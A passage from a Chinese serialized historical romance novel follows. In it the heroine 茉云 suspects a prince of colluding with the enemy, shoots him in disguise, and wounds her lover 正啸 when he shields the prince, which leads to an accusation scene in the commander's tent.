正啸听到这一句话，缓缓转向十皇子，目光平静地说道：“融机城的攻城难度确实极大。它不仅因山而固守，更因为敌人熟知地形，每一条通道都可能有奇兵埋伏。我们若进攻，不仅要防备敌军的偷袭，更要注意军队的部署与联动。”
十皇子低头沉思，轻轻点了点头。此刻，他的脸上没有任何急功近利的表情，反而带着深思熟虑的神色。随即，他抬起头看向正啸，语气恳切：“少帅，我刚刚才来到军中，能否恳请你再三斟酌，慎重行军。千万不要因为我刚来，想为我立功，而仓促行动。凡事以大局为重，不要顾及我个人的得失。”
十皇子的这一番话，令在场的诸位将领都不由得深深望向他。与十二皇子那些过于急功近利的言辞不同，十皇子的这番话，让众人都感受到了他的智慧与冷静，也让人看到了他的一片赤诚。
“谢十皇子，”正啸顿了半刻，眼中闪过一抹坚定，“不论此城如何艰难，卢家军也一定要拿下。我们需要的，不仅仅是胜利，更是稳定整个战局，打破敌人的军心防线。”
十皇子望向正啸满脸的崇敬:“好，全凭少帅远筹帷幄，我能做的便是尽全力配合，协助卢家军完成这场关乎江山存亡之战。”
正啸微微点了一下头，转身命令营中诸将：“整顿军备，做好攻城准备。
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先务必将敌人牢牢困在融机城内，不给他们奇袭的机会。”
此时众将起身领命，众志成城，军心激荡，只有萧怀逸眼中一丝微微寒意，双眉微蹙的看向十皇子。
就在这日黄昏之时，茉云带着押粮队伍，紧赶慢赶到了军营，走到营门处，眼前是一片静谧的夕阳，可好似整个军营都被一股看不见的力量所笼罩。
她抬目望去，军营里的人虽然表面安静，但她却能感受到那股暗流涌动。她目光不经意地掠过远处的帐篷，落在正走出来的鸿音公主身上。只一眼，茉云便看清了她眼中积压的愤怒与怨恨，那双眼睛里似乎有着无法压抑的狂乱，好似那一触即发的火焰，持续烧灼着她内心。
此刻无人处，她那不加掩饰的眼神却让茉云心底泛起一丝寒意，鸿音公主的内心也许早已陷入疯癫……
她微微沉思，再将目光移向鸿音公主身旁低语的林宇，他眉宇也显然透出一丝不对劲的气息。好似在讨论部署，言辞间看似镇定，但眉眼在扫视着周遭，显然透出一丝紧张感……
茉云再抬头向远处望去，四遭暗潮汹涌，唯有卢家军却依旧如钢铁般凝聚，士气如虹，众志成城，赤诚如固。
茉云的心中不禁微微一震，为卢正啸和卢家心疼……
她刚去跟雄山将军交接完军粮，寒暄了几句逗得大家捧腹大笑，她正准备转身离开，却看见怀逸在转角处站着等她。
茉云忍不住挑了挑眉，略带戏谑地看向他：“怎么，萧小王爷有何贵干？”
萧怀逸却依旧一副不咸不淡的神情，嘴角扬起一抹无语：“就聊几句，不耽误您见情郎。”
茉云被他的话逗笑了，不禁打趣道：“什么事从萧小王爷嘴里说出来都这么娘，行了，说吧，十皇子这人怎样？”
萧怀逸眼中旋即闪过一抹寒意，满脸皆是冷漠地回答道：“他若是人如其言，那便是个人圣人，那他必是天命所归要做皇帝的，因为那会是天下万民之福。若不是，那人家的戏，可比你和鸿音公主的戏更好！”
茉云闻言，眼中闪过一丝玩味，嘴角扬起一抹冷笑：“世上有那么多圣人就好了，你们皇家子弟中更稀奇。再者，卑职以为萧小王爷此言差矣。从来就是因为有这般能耐和手段，才做得上那个位置。只看天命所归……你也是在跟我说笑吗？”
萧怀逸深深吸了口气，没有说话，其实心中早已默默承认茉云对于这场权力相争的判断，可这惊涛骇浪汹涌袭来，他们又要如何抵挡……
茉云没有再多说，只是一脸畅然的笑了，用剑柄微微敲了怀逸肩膀一下说道：“放心，我和你都不是坐以待毙的人！”
怀逸默默看着她，目光中透出一丝复杂的情绪：“可……他会同意我们这么跟他们斗吗？”
茉云顷刻被逗笑了往前走去：“你能不能活得自由点？”
“什么自由！”
茉云晃晃手轻松的朝着夕阳伸了个懒腰，淡然的说道：“不被任何所裹挟，就是自由！”
362.惊愕
军营的夜色渐渐深沉，夜空被繁星点缀，但营中却弥漫着一种压抑的气息。
茉云独自一人走向正啸的营帐，她的直觉告诉自己，鸿音公主定然不会善摆甘休。而这一次，鸿音也肯定已经吸取了上次的教训，她不会再让自己卷入其中。
她定然会将这一切计划得滴水不漏，会将所有的罪责推向卢正啸。毕竟，卢家与十皇子的外公太师家之间的世仇早已是人尽皆知，鸿音定然也深知如何利用这一点。
每走一步，茉云心底的警觉逐渐上升，所有的阴谋与权谋将在即将爆发的战争中交织，无法预测的变数也许将改变所有人的命运。
她走入营帐内坐下，茉云深深地陷入了思虑之中，眼中狠戾的光芒闪现，心中涌动的只有一个坚定的念头：自己绝不会放过他们。
正当她深陷思绪时，突然，一双强有力的手臂忽然猛地抱起了她。茉云一怔，如此熟悉的气息袭来，她瞬间回过神来，视线与正啸那双深邃的眼睛对视。
正啸将她抱起，轻轻地坐下，紧紧地将她搂在怀中，目光定定地望向她，好似看透她心底一般……
茉云不禁的躲开他那炙热的目光，正啸似乎也察觉到了她的躲闪，伸手轻轻掰过她的脸，带着几分强迫让茉云直视着自己。
茉云对上他的目光，旋即眼珠一转，一脸娇俏地说道：“我之前听说一个事，你爷爷曾编过一只草蝴蝶送给你奶奶，并将此技艺传授给了你，你编个给我看看。”
正啸听罢，随即低笑了起来，那是他爷爷当年教他送给自己媳妇的：“你嫁我再说。”
就在两人沉浸在这一刻亲昵之时，门外突然传来了千山高喊之声：“元帅好！”
两人瞬间从彼此的目光中抽离，茉云急忙起身，正啸也站了起来。两人本能地恢复了冷静，收起了眼中的情愫。
元帅大步走了进来，脸上带着一抹欣喜的笑容，目光落在茉云身上说道：“融机城之战，茉云来得正是时候，我军真是如虎添翼。”
正啸微微一怔，眼神闪过一丝复杂，他显然并未希望茉云亲自参战。
然而，茉云毫不迟疑地抱拳说道：“末将定不辱使命。”
正啸低头看着她，心中一阵波动，却也没有开口阻止。他看得出茉云早已作出决定，她的眼神透出了无畏的决心……
翌日清晨，晨雾还未散尽，阳光透过薄雾洒在帐篷上，照出一层淡淡的金色光辉，空气中依旧弥漫着一股闷热的气息。
茉云走出营帐，眼神冷静地扫视着军营，她远远地看见了早已站在操练场的十皇子，他依旧镇定自若，脸上挂着那种自信的微笑，好似一切尽在掌控之中。
然而，茉云深知，这个看似温文尔雅，贤能大气的皇子背后，藏匿着无数不为人知的险恶与谋算，而且他动心忍性，能屈能伸，为了九五至尊之位，敢如此以身犯险。
要知道攻打融机城这座险峻的山城，注定是一场艰难的战斗。而且敌军很有可能早将这个刚入营牵动军心的皇子牢牢锁定，再加上山城的地形复杂，山势陡峭，峑戎箭阵定是布满了每一处可以遮掩的山岩，几乎每一步都可能让他步入死地，他却如此胆大的来了且参战……
茉云又缓缓转头望向正啸，看向他依旧如此赤诚而挺直的身影，他其实定然明知这一切都充满着各方地算计……
可是无论如何……战局终究一触即发，全军按照正啸的部署开拔了，正啸领兵先行，她命令茉云进入押后的队伍之中。
大战在清晨的薄雾中悄然展开，山林地势险要，周围的山脉如刀锋般嶙峋，层叠的岩壁和深邃的峡谷将融机城的防线牢牢围住。
正啸到了山中高处，紧盯着战局，心中微微有些焦虑。他知道，融机城的防御极为强大，若无足够的配合与谋略，根本无法突破这道天险。
于是，他特意将十皇子托付给了沧海，让他随时保护皇子的安全。沧海领命之时亦如立了军令状，必将以死保护皇子安康。
茉云在军队尾端，抬目望去，这片地形充满了天然的屏障，既是天然的防线，也是进攻的致命陷阱。她看见卢家军的进攻队伍缓慢而稳重地推进，士兵们小心翼翼地穿行在这片险峻的山林中,每一寸土地都好似潜藏着危险。
然而，敌人的反击却如同幽灵般难以捉摸。从山林的阴影中，一阵阵箭雨呼啸而至，弓箭如同雨点般朝着卢家军的队伍射去，带着锐利的风声划破清晨的寂静。士兵们迅速举盾挡下，箭矢撞击在坚硬的盾牌上，发出一阵阵金属碰撞的声音。
正啸紧盯着远方的山口，他清楚敌人的弓箭手早已潜伏在四遭暗处，等着他们步入陷阱，一切都是对卢家军士兵们意志最大考验。
战鼓声阵阵响起，卢家军继续往前推进。又随着正啸一声令下，先锋队员们冲向前方的峭壁，开始攀登上险峻的山崖。在岩壁的上方，战斗的气氛更加紧张，敌军的防线逐渐显现，他们果然布下了层层埋伏。
然而，卢家军并没有退缩，在正啸的带领下，仍然士气高涨，每一名士兵都将生死置之度外，奋勇向前。即便山林地势险要，危机四伏，士兵们只要跟着正啸便不惧危险，坚定地推进。山林中回荡着嘹亮的吼声，皆是卢家军誓要摧毁一切敌人防线的决心。
而在山林的另一端，融机城的防守将领亦在冷静地指挥着防守，山林地形给了他们天然的优势，但同样也将自己困在了这片险地之中。山林的风声如同刃剑划过，刺耳的声响中，战斗的硝烟正猛然升腾……
而就是此刻，队伍的中段，沧海紧紧跟随在十皇子身后，步步为营，生怕疏忽大意。但就在那一瞬间，战场的气氛突变……
山林忽然涌现出一股敌军的呼喊，沧海马上组织防线护卫十皇子，并下令另外一支队伍上前迎战，而此刻十皇子却好似感受到了某种召唤，战斗热血顿时涌上心头，他的眼神瞬间变得凌厉，如同被战意驱使着。他猛然一声怒吼，便跟着士兵一起冲入了敌军。
沧海瞳孔一缩，心头掠过一丝不安。他立刻挥手指挥队伍
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跟上，但眼看着十皇子的身影已急速涌入前方，沧海带着手下紧追不舍。
一时间，战鼓雷鸣，硝烟四起，整个山谷震得颤抖。而就在这时，沧海的心头一紧，随即听见了箭矢的破空之声。
十皇子已经不知不觉地冲入了峑戎的箭阵之中，敌人的箭如暴雨般密集射向他。就在此时，沧海不顾一切的冲入箭阵之中，去救十皇子……
而此刻的茉云亦在高地，远远看着，她微微一愣，瞬间眼中透出了极其狠戾的光，她握紧了拳头牙关咬得吱吱作响，峑戎的箭手皆是百步穿杨的神射手，如此近的距离，他们竟然射不中十皇子！难道十皇子有着天命护佑？那支支箭矢纷纷与他擦肩而过？
茉云心里瞬间清醒，卢家军和她都中计了。她紧张地迅速驰马冲上前，却只听见一声刺耳的箭鸣，她眼看着沧海没有任何犹豫，以身躯挡住了射向十皇子的箭。箭矢穿过他的铠甲，狠狠地射中了他，鲜血瞬间染红了战甲。
茉云停在了半山腰，此时赶过去已经迟了，她咬牙眼看着这一幕，眼中闪过一丝极寒的狠戾——峑戎射手的箭绝非失误，而是早有图谋，他们合谋要害的就是卢正啸的左膀右臂，而原来十皇子来军中绝非胆大，他敢来是因为他早已勾结了敌军，敌军不杀他！
茉云的嘴角微扬的狠狠笑了，忽然间她的身影……逐渐消失在山林中。正啸此时立即下令润吉带人支援沧海，营救十皇子。而就在十皇子即将被润吉护着撤出之时，忽然山林中出现了一名身穿峑戎暗营装束的神射手。
他没有犹豫，迅速拉弓搭箭，箭矢在空中划出一道气势如虹弧线，直逼十皇子而来，如银芒破空，势不可挡。
然而，就在她的箭矢即将命中之时，一道身影猛地扑了出来。
是正啸飞奔而至，不顾一切地扑向十皇子，就在十皇子陷入生死惶恐的瞬间，正啸以自己身躯将那支箭矢挡下，眼神却狠狠瞪向那名箭手，他显然认出了那人——是茉云。
而茉云瞳孔骤然收缩，原本冷峻的眼神中难掩一丝震惊，心跳几乎停止了……正啸竟然会在这一关键时刻为十皇子挡下这生死一箭。
她亲眼看到，自己如此狠辣的一箭精准地命中的人——是正啸。他的身体猛地一震，随即从马背上摔落下来，重重地砸在山道碎石上。
茉云的手不自觉地开始颤抖，脑中一片空白，战场上的喧嚣似乎都在这一刻消失了……
所有人亦好似都在这一瞬间凝固，连十皇子的眼神也好似停滞在正啸倒下的这一刻，目光中满是惊愕与困惑。
可就在这一转瞬，打算撤退的峑戎军如同猛兽复苏，疯狂地反扑过来，因为他们发现他们心中那个无法战胜的敌方少帅，竟然中箭落地了，他们不顾一切朝着正啸发动进攻。
紧接着，卢家军的士兵们也晃过神，毫不犹豫地拼命护卫着倒下的正啸，奋不顾身地与敌人殊死战斗，激战之声回荡在整个山谷。
茉云此刻却只能无能为力地站在远处，看着他命悬一线……
363.明了
战场一片混乱，四周的呼喊声、马蹄声、金铁交击声汇成一片……
最终正啸还是支撑的站了起来，他一手拉过了十皇子，在众将士的誓死护卫下撤了出来，润吉也一把扛起了不省人事的沧海，突出了重围。
这一刻，茉云强制自己平静下来。她深吸一口气，眼中闪出一丝冷锐的光芒。她知道，不能继续在这片山林中与敌军周旋下去，拉锯战拖延时间，只会给敌人更多的反扑机会。必须迅速结束这一切，才能保住众人的性命。
茉云迅速作出决定，像一道幽灵，悄无声息地隐没在山林的阴影中，换下了峑戎射手的装束。
她再出现时又披上了方将军的铠甲，这副令敌军胆寒的战甲，却能迅速让卢家军将士镇定了下来。她飞身而出，毫不犹豫地下令队伍开始撤退。
卢家军诸将听到她的军令，迅速整队，在她的指挥下，有序而快速地撤出山林，沿着隐小径穿行，避免被敌人的箭阵瞄准。而茉云则带领鹿里骑射营反向而行……
就在敌军仍未察觉之时，茉云已经穿越了密林，重新回到了战场的另一侧。她的目光如鹰隼般锐利，微微嘴角上扬，因为她已然瞧见了目标……
敌军的防线此刻正因卢家军的撤退而有所松动，但就在他们放松警惕的瞬间，茉云出现了。
她高高跃上岩壁，借助地形的优势，毫不犹豫地拉开弓弦，箭矢破空而出。那一瞬间，空气仿佛凝固，时间停滞。她的箭如闪电般疾驰，准确无误地射向敌军来督战的大将集益。
集益还未反应过来，便已被那支箭贯穿肩膀，重重地摔下马背。
顿时他身旁一片寂静，所有的士兵瞬间愣住，似乎一切都在那箭矢飞过的瞬间发生了改变。
茉云忽然立于岩上一脸凌冽的笑道：“集益将军，好久不见啊！”
她的出现，犹如一道霹雳，打破了原本的局势。敌军的士气瞬间慌乱，敌方大将们也慌了，要知道集益大将军是大王幽戎身旁最亲近之人，阵营内的开始慌乱调度。
而茉云和鹿里开始猛追集益的分队，就在这一片混乱中，峑戎的军队亦在拼命护卫集益撤退，原本紧密的阵型变得四散。此时，卢家军亦趁机护卫了正啸等人撤出了战场。
而就在近在咫尺之时，茉云本将射向集益的箭忽然停住了，在她身旁的鹿里愣了半刻看向茉云，最终亦没有说什么……
茉云抬手示意队伍随她撤离，队伍迅速如风一样消失在山林的深处。敌军的将领们并未追击，他们的心中充满了疑虑和恐惧，都不知道来督军的集益大将军究竟是如何被突然伏击的。
而茉云，早已不见踪影，消失在这片山林的阴影里，留下的只有那箭矢的余音和那如见鬼魅般的惊慌。
这场融机城外的战斗与埋伏，以两记致命的箭矢画上了句号，双方都迅速撤出了战场。
茉云带队回营，入营便看见营中一片混乱。兵卒匆匆穿梭，有人从沧海的营帐中出来，手里端着满盆的血水，鲜红刺目。
威行正从营地一侧走来，眼神沉重，脚步踉跄，他看见茉云与鹿里，便急忙上前顿了顿，低声说道：“白神医说……沧海可能撑不住了。连药都喂不进了……”
“你说什么？”鹿里猛地一把抓住威行的衣襟，声音颤抖，目光几近疯狂，“少帅知道吗？”
威行的喉头动了动，眼中泪光闪烁：“少帅还未醒……可他昏迷前留下话，让白神医无论如何要先救沧海，一定要救活他……可现在……”
话话音未落，茉云远远瞧见十皇子从沧海营帐中走出，眸色微红神情郁结，好似懊恼与自责正撕扯着他。他低头不语手指蜷紧。
元帅站在他身后，一张满是风霜的脸写尽了无奈与疲惫，却还只能拍拍十皇子的肩膀，宽慰于他，可他那苍老的脸上带着掩不住的心痛。
茉云则站在原地，双拳紧握指节泛白，脸色比平日更冷，若自己还是当日的方茉云，此刻就应该过去将十皇子碎尸万段……可如今她不能！
这时，萧怀逸匆匆赶来，一看见她便皱眉问道：“到底发生了什么事？”
茉云一脸镇定地冷声说道：“等他们都走了，叫上执礼、东山，到沧海营帐来，一齐说。”
怀逸迟疑了一瞬看了她一眼，终是点了点头，转身快步而去。
茉云目光转向鹿里和威行道：“你们也随我一起来。”
他们两马上低头应声，随着茉云一起往沧海的营帐中走去。
此时营中夜色如墨，风声猎猎。她都未去探望正啸一眼，静静地朝沧海的营帐走去。营帐内灯火昏黄，每个人的神情都凝重得似压了一座山。
白神医素来从容稳重，今日却也难掩忧色，眉头紧锁，手中银针微微颤动，连呼吸都压得极低。
茉云没有理会任何人的视线，径自走到沧海的床边。她能感受到，沧海已经气息微弱，胸腹起伏几不可察，全身多处血迹尚未干透，裹着的纱布已经透出斑斑猩红。
渐渐怀逸等人亦都走入了营中，可营中依旧静默无声。
茉云望着沧海那张苍白得几近透明的脸，忽然一下跪倒在床前，在他身边哽咽地俯身低语：“沧海哥……我求求你，一定要撑过去。”
她的声音难得如此哽咽而低沉，像是在哀求，又像是在祈愿。
“沧海哥，你知道吗？我们都中计了……你去护卫十皇子，看似是随十皇子误入敌人设下的箭阵。可我亲眼所见，你在箭雨中身中数箭，可他却一箭不中，那可都是峑戎百步穿杨的精锐射手。”
茉云说着指甲深深陷进掌心，声音压得更低，像是拼命克制自己心中滔天的愤怒。
“那个恶人……是勾结了峑戎，要杀你、也要杀卢正啸。”
帐中静得出奇，执礼等人都吃惊的望向茉云。而鹿里此时站在一旁，看见众人惊愕的眼光，他亦笃定地点点头，他亦看见了，那些射手是绝不可能射不中十皇子的！
“我当时换了一身装束，乔装成峑戎暗营射手，射了十皇子一箭……本想逼他退阵，谁知卢正啸竟不顾一切赶到为他挡下了那一箭。”茉云说到此，声音已近哽咽，“沧海哥，你若不在，谁还能护住这般赤诚又这般蠢的人？”
所有人都愣住了，连白神医的手都僵在半空，一针未落，好似这一刻，众人都不知道该如何回应了……
茉云跪在那里，泪水不禁落了下来，说道：“还有……你可曾想过你的三个孩儿吗？他们怎可受你幼时无家之苦，还有畅夏姐，她一直在等你，你若是这一关都撑不过去，我怎么对得起他们？”
风穿过营帐，吹起茉云的发丝。她咬紧了牙在床边跪得笔直，泪水一滴一滴
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落下：“沧海哥，我求你，撑过去……”
就在这死寂的静默中，床上的人忽然眼睫微动，好似受到了某种唤醒。他的手指忽然微微动了一下，像是内里在艰难挣扎。
忽然，沧海竟然缓缓睁开了眼，眼中布满血丝却神情却依旧坚定。
“好……”他声音极其虚弱，却清晰，“你站起来。”
茉云猛地抬头趴在床边，泪眼朦胧中看着沧海，他好像是整个人从死地里挣扎回来一般。
白神医瞬间回神，手中银针飞快落下，继续施救：“不言！快，将药让沧海将军喝下！”
不言应声而动，威行马上扶起了沧海，不言将温热的汤药小心翼翼倒入沧海口中，沧海终于将药喝了下去。
营帐之中此时却仍旧静得可怕，连油灯跳动时发出的细微声响，都像石子落水般清晰，周遭好似凝滞……
片刻后，东山再也隐忍不住，不可置信地怒声道：“你是说堂堂皇子，竟然勾结峑戎，以关系国运利害之事为交换，谋求皇位之路！如此奸人得逞……未来的社稷和万民，将落入何等境地！”
他的声音颤抖，怒意难抑，眼中皆是愤懑与悲凉。
怀逸却冷冷一笑，语气平静得令人胆寒：“东山兄，爱民……是皇上的事。可他还只是皇子。为了这个至尊之位，他什么都干得出，十皇子与太师自始至终，都把卢家视为他登基路上一定要除的绊脚石。这些年十皇子的诚恳谦卑，连皇上都信了，可见他那副面具之下——城府之深，狠辣之极，让人思之都不寒而栗。”
话音落下，众人皆面色肃然，帐中油灯晃动，昏黄光影映出众人面容上各异的神情，愤怒、悲凉、震惊，皆带着深深的忧虑。
此刻起，每个人心里都知道——卢家军真正的风暴，开始了。
良久，鹿里望向茉云低声开口，声音却如此笃定：“我们现在该怎么做？”
他的拳头死死攥紧，指节因用力而泛白，额间有汗，神情已不再是平日里那般洒脱随意，而是满脸坚定。
茉云望向她，又扫了一眼众人，那一双冷静如镜的眼中泛着微光，她忽然轻轻一笑，从容却透着几分决绝。
“你们少帅若醒来，”她缓缓开口，语气平稳如 ，却字字如锋，“一定不会放过我。”
众人一震，皆抬目望向茉云。执礼亦心中知晓，他的少主定然是接受不了……
“今日将所有如实相告，”她继续说道，声音一寸一寸压进众人的心头，“是相信你们都是军中，能与卢家同生死、共命运的人。”
她说这话时目光极其坚定，早已将一切置之度外。
“若我不在……被他赶出军营。”她略顿了顿，“卢家军与卢家的未来，便托付于诸君了。”
空气骤然一紧，众人仿佛同时屏住了呼吸，一道沉默的压迫感悄然蔓延，像厚重的乌云堆满了整个帐内。
茉云却毫不在意的唇角扬起一抹冷笑，那笑里不带丝毫温度，反倒透着狠戾与坚定：“但是诸位放心，心中明了两点便好，其一，至尊之位？他们……想得美！其二，卢家军必胜！”
话音落地，茉云转身掀开营帐，长袍掠地，风也仿佛被她的怒意裹挟着卷了起来，可沧海虚弱的伸出了手，他说不话来，可是眼中却透出的深深忧虑，她知道茉云定是已经决定了…
364.决绝
当茉云走出沧海的营帐，一股带着血腥味的夜风扑面而来，吹得她衣袍微扬。
她抬头望向夜空，夜色沉沉如墨，群星隐匿，连月色都藏在厚重的云层之后，仿佛天地之间只剩下了这片漆黑与沉默。
她站在营前，背脊挺得笔直，心里却沉得像一口古井，无波无澜，却深不可测。
就在这时，身后传来一个低沉的声音，带着几分冷意，宛若一道锋利的刀锋，在黑夜中划过：“差点杀了自己男人……什么感觉？”
茉云并未回应，只是缓缓转过身，嘴角透出了一丝冰冷的笑意，望向夜色之中，立于数步之外的铁狮军主帅林宇。
他披着黑金甲胄，眉眼沉如寒星。那双眼，宛若夜色中最深的黑，直直地望着她，冷冽、刚毅，又夹着一丝晦涩不明的情绪。
茉云亦直视着他，没有躲避，也没有犹豫，凌冽地说道：“我方茉云，从始至终都知道自己在干什么，绝不因感情，更不因私欲，而去做那些丧尽天良、通敌卖国，背弃故土的事。”
夜风倏地一紧，林宇望着她，眉头猝然皱起，眼中情绪翻涌，显然他亦听懂了茉云言中之意……
茉云平静地看着林宇，眼神中没有愧疚，也没有彷徨，唯有决然。但她心中此刻亦明了林宇会来找他，便是他迟疑了……
“当然，你的主子大王和林家愿意以整个国家和子民的未来，去为她赌一把，那也悉听尊便，愿你们林家列祖列宗在天之灵，视之不觉心寒！”茉云说完便漠然转身，不再理睬林宇。
林宇深深吸了一口气，望向茉云的背影，此时月亮终于挣开乌云，露出一角冷白的光，将茉云的影子拉得很长很长……
夜深露重，营地万籁俱寂，茉云缓缓走向卢正啸的营帐，灯火昏黄，透出躺在营中之人的虚弱与沉寂。
茉云一步步走到床前，看见卢正啸沉沉地躺着，脸色苍白，额头冷汗未干，眉心因痛楚微微蹙起。他本就带伤在身，而她那一箭，又何其狠辣——深深刺入肩胛，虽未伤要害，却仍重得可见一斑。
他的每一次呼吸，似都带着细微的破碎声，仿佛能扯痛人的心。
万莫和千山守在他身侧，满脸忧色，连呼吸都放得极轻，生怕惊扰他片刻安宁。
茉云未出声，只是站在床边，静静地望着他。
一个时辰过去，夜更深了，风吹起营帐的一角，带来一丝微凉。
她终于轻轻转身，步伐无声，却好似带着千斤重担。
身后，万莫轻声问道：“你不……守着少主的吗？”
茉云停了停，侧过头来，脸上浮起一丝温柔而淡然的笑：“该守的时候，我会守。他身旁不有你吗？”
话音落下，她没有再回头，迈步走入夜色之中，没有半分迟疑。
翌日清晨，阳光透过云层洒向大地，金辉灿然，照亮了每一顶营帐的檐角。
而此时，元帅的营帐中却掀起波澜。
鸿音公主在主营中，怒目圆睁，面色涨红的控诉道：“元帅，据我搜查，那一箭，是方茉云射的！而且，她还私自放走敌将，实乃通敌卖国，罪不可赦！”
她声声厉斥，如银针落盘，众人皆愕然望向她。
元帅闻言顿时起身，沉声斩钉截铁地道：“绝无可能！茉云行事虽有些张扬，但她乃忠肝义胆之人，岂会做出通敌之事！”
老太君的眉也紧紧锁起，指节不自觉地绞在一起，眼底流露出深深的忧虑说道：“去传方将军来！”
就在此时，帘幕微动，一道人影缓缓走入，众人不禁都神色微变，来人正是卢正啸。
他身穿轻袍，面容仍苍白，步履缓慢了几分，他咬牙忍痛勉强坐下，额角沁着薄汗，但眼神坚毅如初。顿时帐中霎时一静，元帅一脸关切且心疼的望向正啸，正想问他可还能支撑，这时传来了营帐外，传令兵的声音：“方将军到！”
茉云迈步而入，一身素衣神情清冷，目光坦然。她一步步走到堂中，站定拱手向十皇子和元帅行礼。
此刻林宇坐在鸿音身旁，不禁望向她……她站在阳光斜洒处，身影笔直如枪，她明明早已知晓风暴即将来临，脸上却没有一丝惧色，好似那被指控的不是她。
风声穿过营帐一角，帘幕轻扬——正啸微微侧首看着她，眉头紧皱，眼中却藏着翻滚的风暴。
一瞬间，元帅营帐之中，空气好似凝结成冰。
鸿音公主一身红衣怒火中烧，目光如刀般直指茉云：“方茉云，我听人来报，说你暗杀皇子，私放敌军大将军，你为何要如此做？！”
众人屏息，目光齐刷刷地落在茉云身上。她却只是轻轻一笑，那笑不带一丝惧意，甚至唇角还含着几分讥诮与嘲讽。
“是吗？”茉云声音轻淡，却句句穿骨，“那定是因为……我傻得想要鹤蚌相争，渔翁得利吧。”
她一脸的神情自若，语气如同利刃藏于锦囊，乍现锋芒，叫人顿时心惊。
话音一落，帐中一片寂静，众人神情骤变，面面相觑，似在揣测这句话背后的深意。
坐在一旁的十皇子也在此刻抬起了头，他目光如水波般幽深，静静地望着茉云，本来满腔的愤懑在这一刻瞬间冷静下来，许久未语。
他当然明白这位卢家军的女将军方茉云，曾让自己外公袁太师麾下的数位亲信栽了跟头。来之前，太师不止一次告诫过他：“此女，绝不可小觑。她是卢家军中最锋利的刃，也是最不容忽视的变数。”
如今，她站在这里，从容、镇定、不辩、不讼，只轻描淡写一句“渔翁得利”，就将这场惊涛巨浪拦在面前。
十皇子也瞬间清醒，若真任由此事蔓延，大战前夕，若是因为自己，而导致卢家与朝廷间裂痕加深，父皇定然不会放过自己，而渔翁……正是那眼前不愿局势安稳的“长姐”——鸿音公主。
于是，十皇子神情一凛，站起身来，语声笃定而响亮：“长姐，方将军……怎么可能是刺杀我之人？”
他脸上并无多余情绪，语气中沉静的信任，如一把钉子，重重钉在混乱的局势之上。
鸿音公主脸色微变，旋即冷笑一声，转身望向鹿里，目光凌厉如刃的问道：“鹿里将军，我所言可有假？你一直跟在方茉云身边，她是否干了这些事？”
鹿里站出一步抱拳恭敬行礼，沉声回答：“是。”
众人面面相觑，眼神惊疑不定的看向鹿里，鸿音公主冷
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笑声中带着讥讽，似已胜券在握，眼神轻蔑地扫向茉云，神情好似在说，看你还能如何狡辩？
可还未等鸿音再开口，鹿里却忽然语锋一转，语气依旧恭敬，却斩钉截铁地道：“方将军确实一直与末将同行，自始至终并未见到十皇子被困之事。我等是因一路追击峑戎大将军集益，错过与主力会合，后集益被峑戎援军接应，穷寇莫追，我等才撤兵回转。”
这一席话，如晴天霹雳，鸿音公主面色骤变，眼中的胜意转为错愕，愕然地望向鹿里，好似一时难以相信这突如其来的“背叛”。茉云则仍旧站在原地，眉目澄澈，静如秋水。
元帅此时面色稍缓，沉声道：“如此便清楚了。”
鸿音公主的眼神里交织着震惊、羞愤与难堪，那张素来高傲的脸此刻泛起青白交错的颜色，唇角微颤，却已说不出一句反驳的话来。
她原以为，这一次终于定能将茉云定罪。显然她的控告也不是空穴来风，她在卢家军中有暗探！可她没有想到，鹿里这个她以为十拿九稳的突破口，竟在关键时刻……将她反将一军。
营帐中一片静默，众人皆不敢出声。
老太君却在此刻开口了，声音不高却字字铿锵：“尚不明敌计之深，卢家军此番受敌军设伏，遭受重创，请王后……谨言慎行言，莫再信口开河,让军中上下人心惶惶，疑云四起。”
语罢，她手中拐杖重重一顿，木声沉响，震得人心一凛。
鸿音公主的脸更白了，强撑着身形站立，眼中屈辱难掩，拳头在衣袖下死死攥紧。她看了一眼茉云，眼中恨意几欲喷涌，却终究无计可施。
茉云却依旧一脸淡然的站在原地，不卑不亢，不怒不笑。
“哼。”鸿音冷哼一声，衣袂翻飞愤然转身，掀帘离去，背影里满是咬牙切齿的怨意。
十皇子却没有说话，自始至终，他都眼神幽深地站在一旁，心中自知唯有另做打算了……
旋即，他也起身寒暄几句后负手而出，带起一阵无形的寒气，随着他身影一同消散在晨光里。
待两人离开营帐，帐中只剩下卢家军中人，卢正啸缓缓转过头，看向一直站在一侧的鹿里。
正啸自始至终一言未发，眼神极静却又极冷，像暴风雪前的平原，看似无波，却已风声暗藏。
忽然——
“跪下！”他一拍桌案，怒喝如雷。
“咚！”鹿里毫不迟疑，单膝跪地，沉声应道：“末将在。”
那一声响亮的桌响、那一声如山的怒斥，震得帐中众人都心神一震，呼吸都不敢重一分。
茉云站在一旁眼神微动，未言半句，但周遭透出一丝凌冽地寒意。
她知道，这一声“跪下”，不是针对鹿里，也不是误会和责罚，而是对自己的拷问……
正啸的眼中闪过一丝难言的痛意，他抬目望向茉云，嘴唇紧抿，额角青筋微跳。这一声怒吼里，藏着的不仅是愤怒，而是压抑不住的痛心与破碎。
而茉云眼中却透出了倔强而狠戾的光，没有半分悔恨和懊恼，她已经不知有多久，没有用这般狠辣的眼神回应正啸了。
正啸咬牙忍着肩上的剧痛说道：“方茉云……”
365.决裂
茉云静静地站在那儿，丝毫不畏惧责难，看向正啸那双布满血丝的眼睛，他的脸色苍白得几乎没有一丝血色，好似随时会倒下……
这一瞬间，茉云心底在拉扯，有些许不忍亦不舍……然而她很快便强行将自己所有情感压下。她深知，自己不可以软弱，哪怕是面对眼前这个男人，因为现在等待他们的是——万丈深渊。
她将所有情感压抑下来，维持着那冷厉的姿态，默默收回了视线，眼中一片冷寂。
就在此时，老太君的声音陡然响起，打破了这片寂静：“为什么要这么做？方茉云，你可知你这样做，会将卢家置于万劫不复之地？那可是十皇子！”
老太君的声音愈发激烈，带着深深的愤怒和失望，老太君虽然义正言辞的驳斥了鸿音公主，但她知道方茉云能干出这等事，也只有方茉云有能力干出这样的事。她的目光紧紧盯住茉云，好似要她立马给自己一个合理的解释。
然而，茉云依旧缄默不言，冷漠地站在那里，就像一切都与她无关。
老太君见她没有回应，愤怒至极猛地起身，声音更为严厉：“你是疯癫了吗？你可知，十皇子若死在军中，卢正啸会是什么下场？卢家将会……”
“我只知道，这场战斗必须赢！卢家如何，重要吗？”茉云猛然昂起头打断了老太君的话，眼中闪过一丝狠戾，声音冰冷而清晰。
她的这句话如同一石激起千层浪，顿时，周围的人都愣住了。众人目光聚集在茉云身上，似乎不敢相信自己听到的是什么。
